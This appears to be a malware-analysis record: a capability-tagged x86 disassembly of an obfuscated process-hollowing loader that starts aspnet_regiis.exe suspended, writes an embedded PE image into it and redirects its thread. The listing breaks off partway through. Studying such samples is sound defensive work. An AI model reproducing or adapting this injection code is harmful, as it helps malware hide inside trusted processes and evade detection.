Function at 0x10002440
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Hide graphical window
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x188
mov eax, dword [0x10065000]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x168], 0xd828d99f
mov eax, dword [ebp - 0x168]
mov dword [ebp - 0x16c], eax
sub eax, 0x81e14b37
je 0x10003fd1
jmp 0x1000247c
mov eax, dword [ebp - 0x16c]
sub eax, 0x82080214
je 0x100044a3
jmp 0x10002492
mov eax, dword [ebp - 0x16c]
sub eax, 0x82f8d86e
je 0x100045f7
jmp 0x100024a8
mov eax, dword [ebp - 0x16c]
sub eax, 0x83454477
je 0x10003bc7
jmp 0x100024be
mov eax, dword [ebp - 0x16c]
sub eax, 0x84165b7d
je 0x1000480c
jmp 0x100024d4
mov eax, dword [ebp - 0x16c]
sub eax, 0x84a09438
je 0x1000441d
jmp 0x100024ea
mov eax, dword [ebp - 0x16c]
sub eax, 0x8647c27f
je 0x10003f16
jmp 0x10002500
mov eax, dword [ebp - 0x16c]
sub eax, 0x86a20264
je 0x10003c4c
jmp 0x10002516
mov eax, dword [ebp - 0x16c]
sub eax, 0x86d70f8e
je 0x10004bf6
jmp 0x1000252c
mov eax, dword [ebp - 0x16c]
sub eax, 0x8909fc2c
je 0x10003ea0
jmp 0x10002542
mov eax, dword [ebp - 0x16c]
sub eax, 0x8a951b97
je 0x10003e4c
jmp 0x10002558
mov eax, dword [ebp - 0x16c]
sub eax, 0x90e12fa5
je 0x10003ff2
jmp 0x1000256e
mov eax, dword [ebp - 0x16c]
sub eax, 0x97a8e52b
je 0x10002edd
jmp 0x10002584
mov eax, dword [ebp - 0x16c]
sub eax, 0x9874c3ed
je 0x100041aa
jmp 0x1000259a
mov eax, dword [ebp - 0x16c]
sub eax, 0x9b45db89
je 0x100030a6
jmp 0x100025b0
mov eax, dword [ebp - 0x16c]
sub eax, 0x9fe2b1a0
je 0x10003b42
jmp 0x100025c6
mov eax, dword [ebp - 0x16c]
sub eax, 0xa8bf322a
je 0x100030c1
jmp 0x100025dc
mov eax, dword [ebp - 0x16c]
sub eax, 0xaaab4dc3
je 0x100032c0
jmp 0x100025f2
mov eax, dword [ebp - 0x16c]
sub eax, 0xafad5e25
je 0x100045c7
jmp 0x10002608
mov eax, dword [ebp - 0x16c]
sub eax, 0xb01a2d35
je 0x1000397b
jmp 0x1000261e
mov eax, dword [ebp - 0x16c]
sub eax, 0xb050ed1a
je 0x10004b40
jmp 0x10002634
mov eax, dword [ebp - 0x16c]
sub eax, 0xb3109c56
je 0x10004159
jmp 0x1000264a
mov eax, dword [ebp - 0x16c]
sub eax, 0xb652aaf5
je 0x100031d6
jmp 0x10002660
mov eax, dword [ebp - 0x16c]
sub eax, 0xb6eb8685
je 0x10003a72
jmp 0x10002676
mov eax, dword [ebp - 0x16c]
sub eax, 0xb79cc44e
je 0x10003abb
jmp 0x1000268c
mov eax, dword [ebp - 0x16c]
sub eax, 0xb7cbf836
je 0x10004247
jmp 0x100026a2
mov eax, dword [ebp - 0x16c]
sub eax, 0xb93a389b
je 0x10003d6c
jmp 0x100026b8
mov eax, dword [ebp - 0x16c]
sub eax, 0xbc76f435
je 0x10004296
jmp 0x100026ce
mov eax, dword [ebp - 0x16c]
sub eax, 0xc084ccd8
je 0x100037b5
jmp 0x100026e4
mov eax, dword [ebp - 0x16c]
sub eax, 0xc162af0c
je 0x1000451e
jmp 0x100026fa
mov eax, dword [ebp - 0x16c]
sub eax, 0xc22136f2
je 0x10004485
jmp 0x10002710
mov eax, dword [ebp - 0x16c]
sub eax, 0xcc930743
je 0x100047ee
jmp 0x10002726
mov eax, dword [ebp - 0x16c]
sub eax, 0xcca54888
je 0x100045a3
jmp 0x1000273c
mov eax, dword [ebp - 0x16c]
sub eax, 0xccbc0f19
je 0x10004b79
jmp 0x10002752
mov eax, dword [ebp - 0x16c]
sub eax, 0xce75da32
je 0x10003de9
jmp 0x10002768
mov eax, dword [ebp - 0x16c]
sub eax, 0xcf54f336
je 0x100044cd
jmp 0x1000277e
mov eax, dword [ebp - 0x16c]
sub eax, 0xd180fabc
je 0x100045e8
jmp 0x10002794
mov eax, dword [ebp - 0x16c]
sub eax, 0xd3864eb5
je 0x100030d0
jmp 0x100027aa
mov eax, dword [ebp - 0x16c]
sub eax, 0xd4600e1c
je 0x10004923
jmp 0x100027c0
mov eax, dword [ebp - 0x16c]
sub eax, 0xd4fc753a
je 0x100046f4
jmp 0x100027d6
mov eax, dword [ebp - 0x16c]
sub eax, 0xd54427fb
je 0x10004cd9
jmp 0x100027ec
mov eax, dword [ebp - 0x16c]
sub eax, 0xd6da95d7
je 0x10004a3f
jmp 0x10002802
mov eax, dword [ebp - 0x16c]
sub eax, 0xd79a75e1
je 0x1000301a
jmp 0x10002818
mov eax, dword [ebp - 0x16c]
sub eax, 0xd828d99f
je 0x10002e63
jmp 0x1000282e
mov eax, dword [ebp - 0x16c]
sub eax, 0xd8406886
je 0x10004109
jmp 0x10002844
mov eax, dword [ebp - 0x16c]
sub eax, 0xd8c06649
je 0x10004065
jmp 0x1000285a
mov eax, dword [ebp - 0x16c]
sub eax, 0xd9924dd4
je 0x10003510
jmp 0x10002870
mov eax, dword [ebp - 0x16c]
sub eax, 0xdd430272
je 0x10003cea
jmp 0x10002886
mov eax, dword [ebp - 0x16c]
sub eax, 0xdd4ada2c
je 0x100036d3
jmp 0x1000289c
mov eax, dword [ebp - 0x16c]
sub eax, 0xe4856b4e
je 0x10003475
jmp 0x100028b2
mov eax, dword [ebp - 0x16c]
sub eax, 0xe5ec1584
je 0x10004cac
jmp 0x100028c8
mov eax, dword [ebp - 0x16c]
sub eax, 0xe764b7eb
je 0x100039ab
jmp 0x100028de
mov eax, dword [ebp - 0x16c]
sub eax, 0xe99c86f9
je 0x10003309
jmp 0x100028f4
mov eax, dword [ebp - 0x16c]
sub eax, 0xe9c44318
je 0x10004b94
jmp 0x1000290a
mov eax, dword [ebp - 0x16c]
sub eax, 0xec05eb44
je 0x10003c3d
jmp 0x10002920
mov eax, dword [ebp - 0x16c]
sub eax, 0xf0189e66
je 0x100043fc
jmp 0x10002936
mov eax, dword [ebp - 0x16c]
sub eax, 0xf09442b9
je 0x1000344e
jmp 0x1000294c
mov eax, dword [ebp - 0x16c]
sub eax, 0xf63d9ca6
je 0x100035cf
jmp 0x10002962
mov eax, dword [ebp - 0x16c]
sub eax, 0xf6fcb261
je 0x10004014
jmp 0x10002978
mov eax, dword [ebp - 0x16c]
sub eax, 0xfa6f5982
je 0x10004882
jmp 0x1000298e
mov eax, dword [ebp - 0x16c]
sub eax, 0xfb55a931
je 0x10003278
jmp 0x100029a4
mov eax, dword [ebp - 0x16c]
sub eax, 0xfb97dac8
je 0x100033f9
jmp 0x100029ba
mov eax, dword [ebp - 0x16c]
sub eax, 0xfbf0218e
je 0x10003f83
jmp 0x100029d0
mov eax, dword [ebp - 0x16c]
sub eax, 0x2bf61fd
je 0x10002f3f
jmp 0x100029e6
mov eax, dword [ebp - 0x16c]
sub eax, 0x54362af
je 0x10003fb3
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
xor ecx, ecx
mov dword [esp], eax
mov dword [esp + 4], 0
call dword [sym.imp.USER32.dll_ShowWindow]
sub esp, 8
lea eax, section..data
mov dword [esp], eax
mov dword [esp + 4], 0x4c000
call section..text
lea eax, section..data
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x104], eax
mov dword [ebp - 0x168], 0x38dc8f82
jmp 0x10004ce3
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x100], eax
mov eax, dword [ebp - 0x104]
mov eax, dword [eax + 0x3c]
mov dword [ebp - 0xfc], eax
mov dword [ebp - 0x168], 0xba3802c
jmp 0x10004ce3
mov edx, dword [ebp - 0xf8]
mov eax, 0x84165b7d
mov ecx, 0x7aedcdfe
cmp edx, 0x4550
cmove eax, ecx
mov dword [ebp - 0x168], eax
jmp 0x10004ce3
mov dword [ebp - 0x168], 0x14b86d1c
jmp 0x10004ce3
lea eax, str.C:WindowsMicrosoft.NETFramework_v4.0.30319_aspnet_regiis.exe
mov dword [ebp - 0x114], eax
mov dword [ebp - 0x168], 0xa8bf322a
jmp 0x10004ce3
mov dword [ebp - 0x168], 0xd3864eb5
jmp 0x10004ce3
mov edx, dword [ebp - 0x114]
xor eax, eax
lea ecx, [ebp - 0x68]
lea eax, [ebp - 0x24]
mov dword [esp], edx
mov dword [esp + 4], 0
mov dword [esp + 8], 0
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 4
mov dword [esp + 0x18], 0
mov dword [esp + 0x1c], 0
mov dword [esp + 0x20], ecx
mov dword [esp + 0x24], eax
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
sub esp, 0x28
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0xf1], al
mov dword [ebp - 0x168], 0x5c03c6c4
jmp 0x10004ce3
xor eax, eax
mov dword [esp], 0
mov dword [esp + 4], 4
mov dword [esp + 8], 0x1000
mov dword [esp + 0xc], 4
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
sub esp, 0x10
mov dword [ebp - 0x108], eax
mov eax, dword [ebp - 0x108]
mov dword [eax], 0x10007
mov eax, dword [ebp - 0x108]
mov dword [ebp - 0xf0], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0xec], eax
mov eax, dword [0x10066338]
mov ecx, dword [0x10066334]
mov edx, eax
sub edx, 0x647ea42f
sub edx, 1
add edx, 0x647ea42f
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xd4600e1c
mov ecx, 0xfb55a931
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x168], eax
jmp 0x10004ce3
mov dword [ebp - 0x168], 0x1d168dd2
jmp 0x10004ce3
mov eax, dword [0x10066338]
mov ecx, dword [0x10066334]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x40fe5bc8
mov ecx, 0xe99c86f9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x168], eax
jmp 0x10004ce3
mov eax, dword [ebp - 0x24]
mov dword [esp], eax
call fcn.10001f30
mov dword [ebp - 0x118], eax
mov eax, dword [ebp - 0x10c]
mov eax, dword [eax + 0xa4]
mov dword [ebp - 0x138], eax
mov eax, dword [ebp - 0x10c]
mov edx, dword [eax + 0x34]
mov esi, dword [ebp - 0x24]
lea ecx, [ebp - 0x14]
lea eax, [ebp - 0x70]
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], eax
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
sub esp, 0x14
mov eax, dword [ebp - 0x10c]
mov eax, dword [eax + 0x50]
mov dword [ebp - 0xe8], eax
mov eax, dword [ebp - 0x10c]
add eax, 0x18
mov dword [ebp - 0xe4], eax
mov ecx, dword [0x10066338]
mov eax, dword [0x10066334]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x40fe5bc8
mov ecx, 0x30845f4f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x168], eax
jmp 0x10004ce3
mov eax, dword [ebp - 0xe4]
mov ecx, dword [eax + 0x1c]
mov edx, dword [ebp - 0x24]
mov eax, dword [ebp - 0xe8]
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0x3000
mov dword [esp + 0x10], 0x40
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
sub esp, 0x14
mov dword [ebp - 0x6c], eax
mov eax, 0x4ea4f34f
mov ecx, 0xf09442b9
cmp dword [ebp - 0x6c], 0
cmove eax, ecx
mov dword [ebp - 0x168], eax
jmp 0x10004ce3
mov eax, dword [ebp - 0x10c]
mov eax, dword [eax + 0x50]
mov dword [ebp - 0xe0], eax
lea eax, [ebp - 0x24]
mov dword [ebp - 0xdc], eax
mov dword [ebp - 0x168], 0xe4856b4e
jmp 0x10004ce3
mov eax, dword [ebp - 0xdc]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xe0]
xor edx, edx
mov dword [esp], ecx
mov dword [esp + 4], 0
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0x3000
mov dword [esp + 0x10], 0x40
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
sub esp, 0x14
mov dword [ebp - 0x6c], eax
mov dword [ebp - 0x168], 0x4ea4f34f
jmp 0x10004ce3
mov eax, dword [ebp - 0x10c]
mov eax, dword [eax + 0x54]
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x6c]
mov esi, dword [ebp - 0x24]
xor edi, edi
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
sub esp, 0x14
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x104]
add eax, dword [ecx + 0x3c]
add eax, 4
mov dword [ebp - 0xd8], eax
mov ecx, dword [0x10066338]
mov eax, dword [0x10066334]
mov edx, ecx
add edx, 0x306728dd
sub edx, 1
sub edx, 0x306728dd
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x6bf717c4
mov ecx, 0xf63d9ca6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x168], eax
jmp 0x10004ce3
mov dword [ebp - 0x168], 0x6027cf34
jmp 0x10004ce3
mov eax, dword [ebp - 0x150]
mov dword [ebp - 0xd4], eax
mov eax, dword [ebp - 0x10c]
movzx eax, word [eax + 6]
mov dword [ebp - 0xd0], eax
mov ecx, dword [0x10066338]
mov eax, dword [0x10066334]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x47fe36f5
mov ecx, 0x7d0a0c86
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x168], eax
jmp 0x10004ce3
mov eax, dword [ebp - 0xd4]
mov ecx, dword [ebp - 0xd0]
cmp eax, ecx
setl al
and al, 1
mov byte [ebp - 0xc9], al
mov eax, dword [0x10066338]
mov ecx, dword [0x10066334]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x15aba578
mov ecx, 0x4789d6ed
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x168], eax
jmp 0x10004ce3
mov edx, dword [ebp - 0x14c]
mov esi, dword [ebp - 0x140]
imul eax, dword [ebp - 0x150], 0x28
add esi, eax
mov eax, 0x40616379
mov ecx, 0xe764b7eb
cmp edx, dword [esi + 0xc]
cmovae eax, ecx
mov dword [ebp - 0x168], eax
jmp 0x10004ce3
mov eax, dword [ebp - 0x14c]
mov dword [ebp - 0xc8], eax
mov eax, dword [ebp - 0x140]
imul ecx, dword [ebp - 0x150], 0x28
add eax, ecx
mov eax, dword [eax + 0xc]
mov dword [ebp - 0xc4], eax
mov eax, dword [ebp - 0x140]
imul ecx, dword [ebp - 0x150], 0x28
add eax, ecx
mov eax, dword [eax + 0x10]
mov dword [ebp - 0xc0], eax
mov dword [ebp - 0x168], 0x5ecd7585
jmp 0x10004ce3
mov eax, dword [0x10066338]
mov ecx, dword [0x10066334]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x471f2ff1
mov ecx, 0xb79cc44e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x168], eax
jmp 0x10004ce3
mov ecx, dword [ebp - 0x150]
mov eax, dword [ebp - 0xb4]
imul ecx, ecx, 0x28
add eax, ecx
mov eax, dword [eax + 0xc]
mov ecx, dword [ebp - 0xb8]
sub ecx, 0x326a8f41
sub ecx, eax
add ecx, 0x326a8f41
mov eax, dword [ebp - 0xbc]
add eax, ecx
mov dword [ebp - 0x148], eax
mov eax, dword [0x10066338]
mov ecx, dword [0x10066334]
mov edx, eax
sub edx, 0x50b2d0fa
sub edx, 1
add edx, 0x50b2d0fa
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x471f2ff1
mov ecx, 0x9fe2b1a0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x168], eax
jmp 0x10004ce3
mov dword [ebp - 0x168], 0x40616379
jmp 0x10004ce3
mov ecx, dword [0x10066338]
mov eax, dword [0x10066334]
mov edx, ecx
sub edx, 0x677c503a
sub edx, 1
add edx, 0x677c503a
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xb050ed1a
mov ecx, 0xec05eb44
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x168], eax
jmp 0x10004ce3
mov dword [ebp - 0x168], 0x86a20264
jmp 0x10004ce3
mov eax, dword [ebp - 0x150]
add eax, 0x1a33c9dc
add eax, 1
sub eax, 0x1a33c9dc
mov dword [ebp - 0xb0], eax
mov dword [ebp - 0x168], 0x1d20d23c
jmp 0x10004ce3
mov eax, dword [ebp - 0xb0]
mov dword [ebp - 0x150], eax
mov ecx, dword [0x10066338]
mov eax, dword [0x10066334]
mov edx, ecx
add edx, 0x7058ddc4
sub edx, 1
sub edx, 0x7058ddc4
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x78990dca
mov ecx, 0xb93a389b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x168], eax
jmp 0x10004ce3
mov dword [ebp - 0x168], 0x78c301c9
jmp 0x10004ce3
cmp dword [ebp - 0x138], 0
setne al
and al, 1
mov byte [ebp - 0xa9], al
mov eax, dword [0x10066338]
mov ecx, dword [0x10066334]
mov edx, eax
sub edx, 0x440e8569
sub edx, 1
add edx, 0x440e8569
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x2692edf8
mov ecx, 0x8a951b97
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x168], eax
jmp 0x10004ce3
mov dword [ebp - 0x168], 0x1e3ff06f
jmp 0x10004ce3
mov ecx, dword [0x10066338]
mov eax, dword [0x10066334]
mov edx, ecx
sub edx, 0x75cc87c3
sub edx, 1
add edx, 0x75cc87c3
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xccbc0f19
mov ecx, 0x8647c27f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x168], eax
jmp 0x10004ce3
mov eax, dword [ebp - 0xa4]
mov ecx, dword [eax + 0x34]
mov eax, dword [ebp - 0xa8]
cmp eax, ecx
setne al
and al, 1
mov byte [ebp - 0x9d], al
mov eax, dword [0x10066338]
mov ecx, dword [0x10066334]
mov edx, eax
sub edx, 0x923b9eb6
sub edx, 1
add edx, 0x923b9eb6
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xccbc0f19
mov ecx, 0xfbf0218e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x168], eax
jmp 0x10004ce3
mov dl, byte [ebp - 0x9d]
mov eax, 0x82f8d86e
mov ecx, 0x411db911
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x168], eax
jmp 0x10004ce3
mov edx, dword [ebp - 0x9c]
mov eax, 0xd180fabc
mov ecx, 0x90e12fa5
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x168], eax
jmp 0x10004ce3
mov eax, dword [ebp - 0x148]
xor ecx, ecx
sub ecx, 8
sub eax, ecx
mov dword [ebp - 0x98], eax
mov dword [ebp - 0x168], 0xf6fcb261
jmp 0x10004ce3
mov eax, dword [0x10066338]
mov ecx, dword [0x10066334]
mov edx, eax
sub edx, 0x8ba8ed43
sub edx, 1
add edx, 0x8ba8ed43
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xe9c44318
mov ecx, 0xd8c06649
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x168], eax
jmp 0x10004ce3
mov eax, dword [ebp - 0x98]
mov dword [ebp - 0x154], eax
mov eax, dword [ebp - 0x148]
mov eax, dword [eax + 4]
sub eax, 0xf2b9b63c
sub eax, 8
add eax, 0xf2b9b63c
shr eax, 1
mov dword [ebp - 0x158], eax
mov eax, dword [ebp - 0x6c]
mov ecx, dword [ebp - 0x10c]
mov ecx, dword [ecx + 0x34]
sub eax, 0x8277dec0
sub eax, ecx
add eax, 0x8277dec0
mov dword [ebp - 0x15c], eax
mov dword [ebp - 0x160], 0
mov eax, dword [0x10066338]
mov ecx, dword [0x10066334]
mov edx, eax
sub edx, 0x84c7aa4b
sub edx, 1
add edx, 0x84c7aa4b
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xe9c44318
mov ecx, 0xd8406886
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x168], eax
jmp 0x10004ce3
mov dword [ebp - 0x168], 0x788e813
jmp 0x10004ce3
mov eax, dword [0x10066338]
mov ecx, dword [0x10066334]
mov edx, eax
sub edx, 0x42b65069
sub edx, 1
add edx, 0x42b65069
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x86d70f8e
mov ecx, 0x9874c3ed
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x168], eax
jmp 0x10004ce3
mov eax, dword [ebp - 0x154]
mov dword [ebp - 0x90], eax
mov eax, dword [ebp - 0x160]
mov dword [ebp - 0x8c], eax
mov ecx, dword [0x10066338]
mov eax, dword [0x10066334]
mov edx, ecx
add edx, 0x2bbbba3f
sub edx, 1
sub edx, 0x2bbbba3f
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x86d70f8e
mov ecx, 0x71e23b9a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x168], eax
jmp 0x10004ce3
mov eax, dword [ebp - 0x90]
mov ecx, dword [ebp - 0x8c]
movzx edx, word [eax + ecx*2]
xor edx, 0xffffffff
mov ecx, 0xffffffff
xor ecx, 0xf000
mov eax, 0xffffffff
xor eax, 0x74b0b569
or edx, ecx
or eax, 0x74b0b569
xor edx, 0xffffffff
and edx, eax
mov eax, 0x7820436e
mov ecx, 0xbc76f435
cmp edx, 3
cmove eax, ecx
mov dword [ebp - 0x168], eax
jmp 0x10004ce3
mov eax, dword [ebp - 0x6c]
mov ecx, dword [ebp - 0x148]
mov edx, dword [ecx]
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, edx
add ecx, eax
xor eax, eax
sub eax, ecx
mov dword [ebp - 0x88], eax
mov dword [ebp - 0x168], 0x22a104e8
jmp 0x10004ce3
mov dl, byte [ebp - 0x81]
mov eax, 0xc22136f2
mov ecx, 0x84a09438
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x168], eax
jmp 0x10004ce3
mov ecx, dword [ebp - 0x15c]
mov eax, dword [ebp - 0x74]
add eax, 0x3474f3bf
add eax, ecx
sub eax, 0x3474f3bf
mov dword [ebp - 0x74], eax
mov dword [ebp - 0x168], 0xaddbb91
jmp 0x10004ce3
mov dword [ebp - 0x168], 0x7820436e
jmp 0x10004ce3
mov eax, dword [ebp - 0x160]
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, 1
add ecx, eax
xor eax, eax
sub eax, ecx
mov dword [ebp - 0x160], eax
mov dword [ebp - 0x168], 0xcf54f336
jmp 0x10004ce3
mov eax, dword [0x10066338]
mov ecx, dword [0x10066334]
mov edx, eax
add edx, 0xbc37fb98
sub edx, 1
sub edx, 0xbc37fb98
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x455856ee
mov ecx, 0xc162af0c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x168], eax
jmp 0x10004ce3
mov ecx, dword [0x10066338]
mov eax, dword [0x10066334]
mov edx, ecx
sub edx, 0x65f32113
sub edx, 1
add edx, 0x65f32113
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x455856ee
mov ecx, 0x292969d6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x168], eax
jmp 0x10004ce3
mov eax, dword [ebp - 0x148]
mov dword [ebp - 0x80], eax
mov eax, dword [ebp - 0x148]
mov eax, dword [eax + 4]
mov dword [ebp - 0x7c], eax
mov dword [ebp - 0x168], 0xafad5e25
jmp 0x10004ce3
mov eax, dword [ebp - 0x80]
mov edx, dword [ebp - 0x7c]
xor ecx, ecx
sub ecx, edx
sub eax, ecx
mov dword [ebp - 0x148], eax
mov dword [ebp - 0x168], 0x54362af
jmp 0x10004ce3
mov dword [ebp - 0x168], 0x82f8d86e
jmp 0x10004ce3
mov eax, dword [ebp - 0x10c]
add eax, 0x18
add eax, 0x1c
mov ecx, dword [ebp - 0x108]
mov ecx, dword [ecx + 0xa4]
sub ecx, 0x2f7c14ed
add ecx, 8
add ecx, 0x2f7c14ed
mov edx, dword [ebp - 0x24]
xor esi, esi
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
sub esp, 0x14
mov ecx, dword [ebp - 0x118]
add ecx, 0x3e247a83
add ecx, 8
sub ecx, 0x3e247a83
mov edx, dword [ebp - 0x24]
lea eax, [ebp - 0x6c]
xor esi, esi
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
sub esp, 0x14
mov ecx, dword [ebp - 0x6c]
mov eax, dword [ebp - 0x10c]
mov eax, dword [eax + 0x28]
sub ecx, 0x858b9fef
add ecx, eax
add ecx, 0x858b9fef
mov eax, dword [ebp - 0x108]
mov dword [eax + 0xb0], ecx
mov eax, dword [ebp - 0x108]
mov ecx, dword [ebp - 0x20]
mov dword [esp], ecx
mov dword [esp + 4], eax
